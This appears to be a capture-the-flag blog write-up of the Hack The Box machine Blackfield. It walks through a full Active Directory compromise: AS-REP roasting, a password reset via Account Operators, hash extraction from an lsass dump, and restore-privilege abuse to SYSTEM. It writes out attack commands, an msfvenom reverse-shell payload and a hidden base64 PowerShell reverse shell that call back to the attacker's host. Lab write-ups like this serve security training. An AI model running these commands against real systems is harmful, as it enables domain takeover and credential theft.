September 23, 2026·Johnytiger

HTB: Blackfield

A guest-readable profiles share hands over hundreds of usernames, one of which AS-REP roasts. Account Operators lets us reset an auditor’s password, the forensic share holds an lsass dump from a previous breach, and the restore privilege finishes it as SYSTEM.

securityctfwriteuphacktheboxactive directorywindowskerberosprivilege escalation

The Hack The Box machine card for Blackfield, rated Hard, running Windows

nmap -sCV -p- -Pn 10.129.229.17 -v -T5 --min-rate 1500 \
  --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

The nmap scan showing DNS, Kerberos, RPC, LDAP, SMB and WinRM for the BLACKFIELD.local domain, with a clock skew of nearly seven hours

We have Kerberos, LDAP and RPC. Let's run enum4linux with no credentials and see what we get.

enum4linux-ng -A $IP

enum4linux pulling domain information over an unauthenticated SMB session, identifying the host as DC01 for BLACKFIELD.local

This is a domain controller, so let's add the domains to our hosts file. Note that clock skew in the scan, nearly seven hours. Kerberos will refuse us if we drift too far, so sync to the target before anything Kerberos-based.

We don't have any usernames to work with, so let's run kerbrute with a username list from SecLists.

kerbrute userenum -d blackfield.local --dc dc01.blackfield.local \
  /usr/share/seclists/Usernames/top-usernames-shortlist.txt -o valid_users.txt

kerbrute confirming only two valid principals out of seventeen tested, administrator and guest

We have guest and administrator. Let's throw them into a users.txt list and then enumerate with guest and see if we get any shares.

nxc smb blackfield.local -u 'guest' -p '' --shares

NetExec as guest listing the shares, with read access on a profiles share and a forensic share marked as Forensic / Audit

We do. There are a couple of things here, so let's crawl them with NetExec.

nxc smb blackfield.local -u 'guest' -p '' -M spider_plus

The spider module reporting 314 folders and zero files across the readable shares

That doesn't give us much. Three hundred folders and no files is itself the clue: the folder names are the payload. Let's log into the share with smbclient.

smbclient //blackfield.local/profiles$ -U 'guest%'

Looks like past profiles. Let's grab all these names and throw them into the users.txt file we have, then run them with NetExec using the usernames as passwords.

nxc smb blackfield.local -u users.txt -p users.txt --continue-on-success --no-bruteforce

The spray appearing to succeed for every account, but each line marked Guest, meaning the server fell back to the guest session

They are all coming out as Guest, which means the server is falling back to the guest session rather than actually authenticating anybody. Let's cancel this and AS-REP roast instead.

impacket-GetNPUsers blackfield.local/ -usersfile users.txt -no-pass -dc-ip 10.129.229.17

GetNPUsers returning an AS-REP hash for the support account

We get a hash with the support account. Let's crack this.

hashcat support.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking the AS-REP hash and recovering the plaintext password for the support account

We get a password. Running the spider module again with these credentials gives us some info, but not much to work with.

The second spider pass, now reaching SYSVOL policy files but nothing containing credentials

It's a support account, so this should let us kerberoast.

nxc ldap blackfield.local -u support -p '#00^BlackKnight' --kerberoasting kerb.out

The kerberoasting attempt hanging and then dying in a threading shutdown traceback

This kept me hanging, so let's try a different approach. Running the password we have against the users.txt file reveals a few things.

The spray with the support password, where audit2020 returns a logon failure rather than the guest fallback, proving it is a real account

Here the guest fallback actually helps us. Real accounts fail properly, fake ones fall back to Guest. So audit2020 is a real account, and so are support and the backup service account. Let's save these in a separate list.

Running support through enum4linux shows that this account sits in several groups, including Account Operators. That group can reset the password of any non-protected user, so let's go ahead and change the password on that audit2020 account. It was obviously created to audit the system and operated by someone more privileged.

For this we are going to use bloodyAD.

bloodyAD -u support -p '#00^BlackKnight' -d blackfield.local \
  --host 10.129.229.17 set password audit2020 'NewP@ss123!'

bloodyAD reporting that the audit2020 password was changed successfully

It's a success. Now let's enumerate this account.

enum4linux-ng -A $IP -u audit2020 -p 'NewP@ss123!'
nxc smb blackfield.local -u audit2020 -p 'NewP@ss123!' --shares

enum4linux confirming the forensic share now maps and lists successfully

NetExec confirming read access on the forensic share with the audit2020 credentials

Great, we do. Let's scope it out with smbclient.

smbclient //blackfield.local/forensic -U 'audit2020%NewP@ss123!'

Inside we find a commands output directory. Let's pull all the files in there and explore what we have.

Recursively downloading the forensic command output files, including domain admins, domain users, firewall rules, netstat and tasklist dumps

We have forensic traces of a previous hack that happened here.

The domain user dump from the forensic share, listing an out-of-place account named after the intruder

There's an attacker-named account in that dump, so let's add it to our list too.

Heading back to smbclient, let's grab the lsass archive from the memory analysis directory. That is a memory dump of the process that holds credentials for everyone logged on at the time, so we use pypykatz to extract it.

pypykatz lsa minidump lsass.DMP

pypykatz parsing the memory dump and printing the NT hash for the backup service account

Right away we get an NT hash for the backup service account. Let's run this with NetExec.

nxc smb blackfield.local -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d' --shares

NetExec with the recovered hash, now showing READ and WRITE on the default C share

We get read and write on the default admin share. Let's check WinRM.

nxc winrm blackfield.local -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'

NetExec returning Pwn3d! for the backup service account over WinRM

And we get Pwn3d. Let's go ahead and log in with evil-winrm. Heading over to the desktop we can find the user flag.

First thing I like to do is bring over winPEAS and see what we can find. We don't get much, so let's bring over PowerUp as well and run all its checks.

PowerUp reporting the restore privilege enabled by default on this token

Look what we have here. The restore privilege lets an account write to any file on disk regardless of its permissions, which means we can overwrite a service binary path and have Windows run it for us. A quick search found this script.

The Invoke-SeRestoreAbuse script on GitHub

Let's bring it over to the box and try it out.

iwr -uri http://10.10.14.211/Invoke-SeRestoreAbuse/Invoke-SeRestoreAbuse.ps1 -o sra.ps1
. ./sra.ps1

Invoke-SeRestoreAbuse -Command 'cmd /c powershell -c "whoami > C:\test.txt"'

$The abuse script hijacking the seclogon service path and writing whoami output, which reads nt authority\system$

And it worked. We have arbitrary command execution as SYSTEM, just not an interactive shell yet. Let's try to get one.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 -f exe -o Edge.exe
iwr -uri http://10.10.14.211/Edge.exe -o rev.exe

After trying to run that and a few other things I wasn't able to get a shell, so let's hit the other privilege we have, the backup privilege. That one lets us read any file on disk, so we save the SYSTEM and SAM hives, bring them over to Kali and run secretsdump.

impacket-secretsdump -system SYSTEM.hive -sam SAM.hive LOCAL

secretsdump parsing the offline hives and printing the local Administrator NT hash

We get the administrator hash. Now let's try to log in with evil-winrm and pass the hash.

Evil-WinRM refusing the pass-the-hash attempt with an authorization error

It didn't work. Hold on, let's try another way using the Impacket suite.

psexec, wmiexec and smbexec all failing with the same logon failure on the recovered hash

None of them worked. This is the local SAM administrator, not the domain one, and the domain controller does not accept it. We had minor success with the privileged script, so let's try to get a shell again. This time we base64 encode a PowerShell reverse shell.

Building the PowerShell reverse shell one-liner and encoding it as UTF-16 base64

Invoke-SeRestoreAbuse -Command 'cmd /c start /b powershell -nop -w hidden -ep bypass -e <base64 shell>'

$A netcat listener catching the callback, with whoami returning nt authority\system$

And it worked this time, but it isn't much of a shell.

Listing the administrator desktop as SYSTEM, where root.txt is visible but reading it returns nothing

We still can't read the root flag. The file is there, and we are SYSTEM, but the contents come back empty. Rather than fight it, let's change the administrator password and log in as them properly, then read it as the owner.

net user Administrator NewP@ss123!
net user Administrator /active:yes

Both net user commands completing successfully, setting the password and re-enabling the account

Let's try logging in as them.

evil-winrm -i 10.129.229.17 -u Administrator -p 'NewP@ss123!'

We got the root flag.

Alright, this box was a little hard. I got to learn more about bloodyAD and to escalate privileges through a route I hadn't known before. The encrypted root flag was a little harder than usual but not so much to figure out. I enjoyed this box.

End of transmissionAll posts